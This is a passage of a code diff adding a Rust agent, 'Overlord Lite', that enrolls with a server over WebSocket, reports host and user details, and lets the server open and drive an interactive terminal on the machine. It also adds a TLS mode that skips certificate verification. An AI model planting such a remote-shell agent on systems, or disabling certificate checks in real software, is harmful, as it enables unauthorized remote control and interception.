+        command_versions: protocol::command_versions(),
+    };
+    send_value(&mut socket, &hello).await?;
+
+    if needs_ack {
+        loop {
+            let response =
+                tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket))
+                    .await
+                    .context("timed out waiting for enrollment status")??;
+            let response_type = protocol::required_string(&response, FIELD_TYPE.as_str())?;
+            if response_type == HELLO_ACK.as_str() {
+                break;
+            } else if response_type == ENROLLMENT_STATUS.as_str() {
+                let status =
+                    protocol::string_field(&response, FIELD_STATUS.as_str()).unwrap_or("unknown");
+                bail!("enrollment status is {status}");
+            } else if response_type == PING.as_str() {
+                send_protocol_pong(&mut socket, &response).await?;
+            } else if response_type != PONG.as_str() {
+                bail!("unexpected enrollment response {response_type:?}");
+            }
+        }
+    }
+
+    eprintln!("authenticated and connected as {}", identity.client_id);
+    send_value(
+        &mut socket,
+        &Ping {
+            message_type: PING.as_str(),
+            ts: now_millis(),
+        },
+    )
+    .await?;
+
+    let mut heartbeat =
+        tokio::time::interval(config.heartbeat_interval.max(Duration::from_secs(1)));
+    heartbeat.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay);
+    heartbeat.tick().await;
+    let (console_tx, mut console_rx) = tokio::sync::mpsc::channel(64);
+    let mut consoles = ConsoleHub::new(console_tx);
+
+    loop {
+        tokio::select! {
+            _ = heartbeat.tick() => {
+                send_value(&mut socket, &Ping { message_type: PING.as_str(), ts: now_millis() }).await?;
+            }
+            incoming = socket.next() => {
+                let message = incoming.ok_or_else(|| anyhow!("server closed the WebSocket"))??;
+                match message {
+                    Message::Binary(bytes) => {
+                        let envelope = protocol::decode(&bytes)?;
+                        handle_envelope(&mut socket, &mut consoles, &envelope).await?;
+                    }
+                    Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?,
+                    Message::Pong(_) => {}
+                    Message::Close(frame) => bail!("server closed the session: {frame:?}"),
+                    Message::Text(_) | Message::Frame(_) => {}
+                }
+            }
+            output = console_rx.recv() => {
+                if let Some(output) = output {
+                    socket.send(Message::Binary(output.into())).await?;
+                }
+            }
+        }
+    }
+}
+
+async fn handle_envelope(
+    socket: &mut Socket,
+    consoles: &mut ConsoleHub,
+    envelope: &Value,
+) -> Result<()> {
+    let message_type = protocol::required_string(envelope, FIELD_TYPE.as_str())?;
+    if message_type == PING.as_str() {
+        send_protocol_pong(socket, envelope).await?;
+    } else if message_type == COMMAND.as_str() {
+        handle_command(socket, consoles, envelope).await?;
+    } else if message_type != PONG.as_str() && message_type != HELLO_ACK.as_str() {
+        eprintln!("ignoring unsupported server message {message_type}");
+    }
+    Ok(())
+}
+
+async fn handle_command(
+    socket: &mut Socket,
+    consoles: &mut ConsoleHub,
+    envelope: &Value,
+) -> Result<()> {
+    let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?;
+    if !is_console_command(command) {
+        return send_unsupported_command(socket, envelope).await;
+    }
+
+    let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or("");
+    let command_version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str())
+        .unwrap_or(1)
+        .max(1) as u16;
+    if command_version != 1 {
+        return send_command_result(
+            socket,
+            command_id,
+            command,
+            command_version,
+            false,
+            Some("unsupported console command version"),
+            Some("unsupported_command_version"),
+        )
+        .await;
+    }
+
+    let payload = protocol::field(envelope, FIELD_PAYLOAD.as_str()).unwrap_or(&Value::Nil);
+    let session_id = protocol::string_field(payload, FIELD_SESSION_ID.as_str()).unwrap_or("");
+    let result = if command == CONSOLE_START.as_str() {
+        consoles.start(
+            session_id,
+            protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0),
+            protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0),
+        )
+    } else if command == CONSOLE_INPUT.as_str() {
+        if session_id.is_empty() {
+            Ok(())
+        } else {
+            let data = protocol::string_field(payload, FIELD_DATA.as_str()).unwrap_or("");
+            consoles.write(session_id, data)
+        }
+    } else if command == CONSOLE_RESIZE.as_str() {
+        if session_id.is_empty() {
+            Ok(())
+        } else {
+            consoles.resize(
+                session_id,
+                protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0),
+                protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0),
+            )
+        }
+    } else {
+        if !session_id.is_empty() {
+            consoles.stop(session_id);
+        }
+        Ok(())
+    };
+
+    match result {
+        Ok(()) => send_command_result(socket, command_id, command, 1, true, None, None).await,
+        Err(error) => {
+            let message = error.to_string();
+            send_command_result(
+                socket,
+                command_id,
+                command,
+                1,
+                false,
+                Some(&message),
+                Some("console_error"),
+            )
+            .await
+        }
+    }
+}
+
+async fn send_command_result(
+    socket: &mut Socket,
+    command_id: &str,
+    command_type: &str,
+    command_version: u16,
+    ok: bool,
+    message: Option<&str>,
+    error_code: Option<&str>,
+) -> Result<()> {
+    send_value(
+        socket,
+        &CommandResult {
+            message_type: COMMAND_RESULT.as_str(),
+            command_id,
+            command_type,
+            command_version,
+            ok,
+            message,
+            error_code,
+        },
+    )
+    .await
+}
+
+async fn send_unsupported_command(socket: &mut Socket, envelope: &Value) -> Result<()> {
+    let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?;
+    let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or("");
+    let version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str())
+        .unwrap_or(1)
+        .max(1) as u16;
+    send_value(
+        socket,
+        &CommandResult {
+            message_type: COMMAND_RESULT.as_str(),
+            command_id,
+            command_type: command,
+            command_version: version,
+            ok: false,
+            message: Some("command is not supported by Overlord Lite"),
+            error_code: Some("unsupported_command"),
+        },
+    )
+    .await
+}
+
+async fn receive_envelope(socket: &mut Socket) -> Result<Value> {
+    loop {
+        match socket
+            .next()
+            .await
+            .ok_or_else(|| anyhow!("server closed the WebSocket"))??
+        {
+            Message::Binary(bytes) => return protocol::decode(&bytes),
+            Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?,
+            Message::Pong(_) | Message::Text(_) | Message::Frame(_) => {}
+            Message::Close(frame) => bail!("server closed the session: {frame:?}"),
+        }
+    }
+}
+
+async fn send_value<T: serde::Serialize>(socket: &mut Socket, value: &T) -> Result<()> {
+    socket
+        .send(Message::Binary(protocol::encode(value)?.into()))
+        .await?;
+    Ok(())
+}
+
+async fn send_protocol_pong(socket: &mut Socket, incoming: &Value) -> Result<()> {
+    send_value(
+        socket,
+        &Ping {
+            message_type: PONG.as_str(),
+            ts: protocol::integer_field(incoming, FIELD_TS.as_str()).unwrap_or_else(now_millis),
+        },
+    )
+    .await
+}
+
+fn is_console_command(command: &str) -> bool {
+    command == CONSOLE_START.as_str()
+        || command == CONSOLE_INPUT.as_str()
+        || command == CONSOLE_RESIZE.as_str()
+        || command == CONSOLE_STOP.as_str()
+}
+
+fn hostname() -> String {
+    std::env::var(if cfg!(windows) {
+        "COMPUTERNAME"
+    } else {
+        "HOSTNAME"
+    })
+    .ok()
+    .filter(|value| !value.trim().is_empty())
+    .unwrap_or_else(|| "unknown".to_owned())
+}
+
+fn username() -> String {
+    std::env::var(if cfg!(windows) { "USERNAME" } else { "USER" })
+        .ok()
+        .filter(|value| !value.trim().is_empty())
+        .unwrap_or_else(|| "unknown".to_owned())
+}
+
+fn wire_os() -> &'static str {
+    match std::env::consts::OS {
+        "macos" => "darwin",
+        other => other,
+    }
+}
+
+fn wire_arch() -> &'static str {
+    match std::env::consts::ARCH {
+        "x86_64" => "amd64",
+        "aarch64" => "arm64",
+        "x86" => "386",
+        other => other,
+    }
+}
+
+fn now_millis() -> i64 {
+    SystemTime::now()
+        .duration_since(UNIX_EPOCH)
+        .unwrap_or_default()
+        .as_millis() as i64
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use base64::{Engine as _, engine::general_purpose::STANDARD};
+    use ed25519_dalek::{Signature, VerifyingKey};
+    use tempfile::tempdir;
+    use tokio::net::TcpListener;
+    use tokio_tungstenite::accept_hdr_async;
+
+    #[tokio::test]
+    #[allow(clippy::result_large_err)] // Required by tungstenite's handshake callback signature.
+    async fn authenticates_and_advertises_console_commands() {
+        let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
+        let address = listener.local_addr().unwrap();
+        let state = tempdir().unwrap();
+        let identity = Identity::load_or_create(state.path()).unwrap();
+        let server_url = ServerUrl::parse(&format!("ws://{address}")).unwrap();
+        let config = Config {
+            servers: vec![server_url.clone()],
+            agent_token: Some("test-agent-token".to_owned()),
+            build_tag: Some("test-build-tag".to_owned()),
+            insecure_tls: true,
+            tls_spki_pins: Vec::new(),
+            state_dir: state.path().to_owned(),
+            reconnect_delay: Duration::from_millis(1),
+            heartbeat_interval: Duration::from_secs(60),
+        };
+        let expected_client_id = identity.client_id.clone();
+
+        let mock_server = tokio::spawn(async move {
+            let (tcp, _) = listener.accept().await.unwrap();
+            let mut socket = accept_hdr_async(tcp, |request: &tokio_tungstenite::tungstenite::handshake::server::Request, mut response: tokio_tungstenite::tungstenite::handshake::server::Response| {
+                assert_eq!(request.headers()["x-agent-token"], "test-agent-token");
+                assert!(request.uri().path().contains(&expected_client_id));
+                response.headers_mut().insert("Sec-WebSocket-Protocol", HeaderValue::from_static("binary"));
+                Ok(response)
+            }).await.unwrap();
+
+            let nonce = [7u8; 32];
+            let challenge = serde_json::json!({ "type": "enrollment_challenge", "nonce": STANDARD.encode(nonce) });
+            socket
+                .send(Message::Binary(
+                    protocol::encode(&challenge).unwrap().into(),
+                ))
+                .await
+                .unwrap();
+
+            let Message::Binary(hello_bytes) = socket.next().await.unwrap().unwrap() else {
+                panic!("expected binary hello")
+            };
+            let hello = protocol::decode(&hello_bytes).unwrap();
+            assert_eq!(protocol::string_field(&hello, "type"), Some("hello"));
+            assert_eq!(
+                protocol::string_field(&hello, "buildTag"),
+                Some("test-build-tag")
+            );
+            assert_eq!(
+                protocol::string_field(&hello, "version"),
+                Some(concat!("rust-lite/", env!("CARGO_PKG_VERSION")))
+            );
+            let command_versions = protocol::field(&hello, "commandVersions")
+                .unwrap()
+                .as_map()
+                .unwrap();
+            assert_eq!(command_versions.len(), 4);
+            for command in [
+                "console_input",
+                "console_resize",
+                "console_start",
+                "console_stop",
+            ] {
+                assert!(
+                    command_versions
+                        .iter()
+                        .any(|(key, _)| key.as_str() == Some(command))
+                );
+            }
+
+            let public_key: [u8; 32] = STANDARD
+                .decode(protocol::required_string(&hello, "publicKey").unwrap())
+                .unwrap()
+                .try_into()
+                .unwrap();
+            let signature = Signature::from_slice(
+                &STANDARD
+                    .decode(protocol::required_string(&hello, "signature").unwrap())
+                    .unwrap(),
+            )
+            .unwrap();
+            VerifyingKey::from_bytes(&public_key)
+                .unwrap()
+                .verify_strict(&nonce, &signature)
+                .unwrap();
+
+            let ack = serde_json::json!({ "type": "hello_ack", "id": expected_client_id, "protocolVersion": 1 });
+            socket
+                .send(Message::Binary(protocol::encode(&ack).unwrap().into()))
+                .await
+                .unwrap();
+            let Message::Binary(ping_bytes) = socket.next().await.unwrap().unwrap() else {
+                panic!("expected initial ping")
+            };
+            assert_eq!(
+                protocol::string_field(&protocol::decode(&ping_bytes).unwrap(), "type"),
+                Some("ping")
+            );
+            socket.close(None).await.unwrap();
+        });
+
+        assert!(run(&config, &identity, &server_url).await.is_err());
+        mock_server.await.unwrap();
+    }
+}

Overlord-Lite/src/tls.rs

@@ -0,0 +1,259 @@
+use std::{fmt::Debug, sync::Arc};
+
+use base64::{Engine as _, engine::general_purpose::STANDARD};
+use rustls::{
+    ClientConfig, DigitallySignedStruct, RootCertStore, SignatureScheme,
+    client::{
+        WebPkiServerVerifier,
+        danger::{HandshakeSignatureValid, ServerCertVerified, ServerCertVerifier},
+    },
+    crypto::CryptoProvider,
+    pki_types::{CertificateDer, ServerName, UnixTime},
+};
+use sha2::{Digest, Sha256};
+use tokio_tungstenite::Connector;
+
+pub fn websocket_connector(insecure: bool, pins: &[[u8; 32]]) -> Option<Connector> {
+    custom_client_config(insecure, pins).map(|config| Connector::Rustls(Arc::new(config)))
+}
+
+fn custom_client_config(insecure: bool, pins: &[[u8; 32]]) -> Option<ClientConfig> {
+    if !insecure && pins.is_empty() {
+        return None;
+    }
+
+    let provider = Arc::new(rustls::crypto::ring::default_provider());
+    let verifier: Arc<dyn ServerCertVerifier> = if insecure {
+        Arc::new(NoCertificateVerification {
+            provider: provider.clone(),
+        })
+    } else {
+        Arc::new(PinnedCertificateVerification {
+            pins: pins.to_vec(),
+            provider: provider.clone(),
+        })
+    };
+    Some(
+        ClientConfig::builder_with_provider(provider)
+            .with_safe_default_protocol_versions()
+            .expect("ring supports the default TLS protocol versions")
+            .dangerous()
+            .with_custom_certificate_verifier(verifier)
+            .with_no_client_auth(),
+    )
+}
+
+#[derive(Debug)]
+struct PinnedCertificateVerification {
+    pins: Vec<[u8; 32]>,
+    provider: Arc<CryptoProvider>,
+}
+
+impl ServerCertVerifier for PinnedCertificateVerification {
+    fn verify_server_cert(
+        &self,
+        end_entity: &CertificateDer<'_>,
+        intermediates: &[CertificateDer<'_>],
+        server_name: &ServerName<'_>,
+        ocsp_response: &[u8],
+        now: UnixTime,
+    ) -> Result<ServerCertVerified, rustls::Error> {
+        let spki = certificate_spki(end_entity.as_ref()).ok_or_else(|| {
+            rustls::Error::InvalidCertificate(rustls::CertificateError::BadEncoding)
+        })?;
+        let actual = Sha256::digest(spki);
+        if !self.pins.iter().any(|expected| expected[..] == actual[..]) {
+            return Err(rustls::Error::General(format!(
+                "TLS server identity pin mismatch (received sha256/{})",
+                STANDARD.encode(actual),
+            )));
+        }
+
+        // The pin makes this exact public key the trust anchor. Delegating the
+        // rest to webpki retains certificate time, name, purpose, and encoding
+        // checks instead of turning verification off for self-signed servers.
+        let mut roots = RootCertStore::empty();
+        roots.add(end_entity.clone())?;
+        let verifier =
+            WebPkiServerVerifier::builder_with_provider(Arc::new(roots), self.provider.clone())
+                .build()
+                .map_err(|error| {
+                    rustls::Error::General(format!("build pinned TLS verifier: {error}"))
+                })?;
+        verifier.verify_server_cert(end_entity, intermediates, server_name, ocsp_response, now)
+    }
+
+    fn verify_tls12_signature(
+        &self,
+        message: &[u8],
+        cert: &CertificateDer<'_>,
+        dss: &DigitallySignedStruct,
+    ) -> Result<HandshakeSignatureValid, rustls::Error> {
+        rustls::crypto::verify_tls12_signature(
+            message,
+            cert,
+            dss,
+            &self.provider.signature_verification_algorithms,
+        )
+    }
+
+    fn verify_tls13_signature(
+        &self,
+        message: &[u8],
+        cert: &CertificateDer<'_>,
+        dss: &DigitallySignedStruct,
+    ) -> Result<HandshakeSignatureValid, rustls::Error> {
+        rustls::crypto::verify_tls13_signature(
+            message,
+            cert,
+            dss,
+            &self.provider.signature_verification_algorithms,
+        )
+    }
+
+    fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
+        self.provider
+            .signature_verification_algorithms
+            .supported_schemes()
+    }
+}
+
+#[derive(Debug)]
+struct NoCertificateVerification {
+    provider: Arc<CryptoProvider>,
+}
+
+impl ServerCertVerifier for NoCertificateVerification {
+    fn verify_server_cert(
+        &self,
+        _end_entity: &CertificateDer<'_>,
+        _intermediates: &[CertificateDer<'_>],
+        _server_name: &ServerName<'_>,
+        _ocsp_response: &[u8],
+        _now: UnixTime,
+    ) -> Result<ServerCertVerified, rustls::Error> {
+        Ok(ServerCertVerified::assertion())
+    }
+
+    fn verify_tls12_signature(
+        &self,
+        message: &[u8],
+        cert: &CertificateDer<'_>,
+        dss: &DigitallySignedStruct,
+    ) -> Result<HandshakeSignatureValid, rustls::Error> {
+        rustls::crypto::verify_tls12_signature(
+            message,
+            cert,
+            dss,
+            &self.provider.signature_verification_algorithms,
+        )
+    }
+
+    fn verify_tls13_signature(
+        &self,
+        message: &[u8],
+        cert: &CertificateDer<'_>,
+        dss: &DigitallySignedStruct,
+    ) -> Result<HandshakeSignatureValid, rustls::Error> {
+        rustls::crypto::verify_tls13_signature(
+            message,
+            cert,
+            dss,
+            &self.provider.signature_verification_algorithms,
+        )
+    }
+
+    fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
+        self.provider
+            .signature_verification_algorithms
+            .supported_schemes()
+    }
+}
+
+struct DerElement<'a> {
+    tag: u8,
+    full: &'a [u8],
+    content: &'a [u8],
+    rest: &'a [u8],
+}
+
+fn der_element(input: &[u8]) -> Option<DerElement<'_>> {
+    let tag = *input.first()?;
+    let first_length = *input.get(1)?;
+    let (header_length, content_length) = if first_length & 0x80 == 0 {
+        (2, usize::from(first_length))
+    } else {
+        let length_bytes = usize::from(first_length & 0x7f);
+        if length_bytes == 0 || length_bytes > std::mem::size_of::<usize>() {
+            return None;
+        }
+        let bytes = input.get(2..2 + length_bytes)?;
+        if bytes.first() == Some(&0) {
+            return None;
+        }
+        let mut length = 0usize;
+        for byte in bytes {
+            length = length.checked_mul(256)?.checked_add(usize::from(*byte))?;
+        }
+        if length < 128 {
+            return None;
+        }
+        (2 + length_bytes, length)
+    };
+    let total_length = header_length.checked_add(content_length)?;
+    let full = input.get(..total_length)?;
+    Some(DerElement {
+        tag,
+        full,
+        content: &full[header_length..],
+        rest: &input[total_length..],
+    })
+}
+
+fn certificate_spki(certificate: &[u8]) -> Option<&[u8]> {
+    let certificate = der_element(certificate)?;
+    if certificate.tag != 0x30 || !certificate.rest.is_empty() {
+        return None;
+    }
+    let tbs = der_element(certificate.content)?;
+    if tbs.tag != 0x30 {
+        return None;
+    }
+
+    let mut fields = tbs.content;
+    let first = der_element(fields)?;
+    if first.tag == 0xa0 {
+        fields = first.rest;
+    }
+    // serialNumber, signature, issuer, validity, and subject precede SPKI.
+    for _ in 0..5 {
+        fields = der_element(fields)?.rest;
+    }
+    let spki = der_element(fields)?;
+    (spki.tag == 0x30).then_some(spki.full)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn extracts_complete_spki_der_from_certificate() {
+        let certificate = [
+            0x30, 0x17, // Certificate sequence
+            0x30, 0x15, // TBSCertificate sequence
+            0xa0, 0x03, 0x02, 0x01, 0x02, // version
+            0x02, 0x01, 0x01, // serial number
+            0x30, 0x00, // signature
+            0x30, 0x00, // issuer
+            0x30, 0x00, // validity
+            0x30, 0x00, // subject
+            0x30, 0x03, 0x01, 0x01, 0xff, // SPKI
+        ];
+        assert_eq!(
+            certificate_spki(&certificate),
+            Some(&certificate[20..25][..])
+        );
+        assert_eq!(certificate_spki(&certificate[..24]), None);
+    }
+}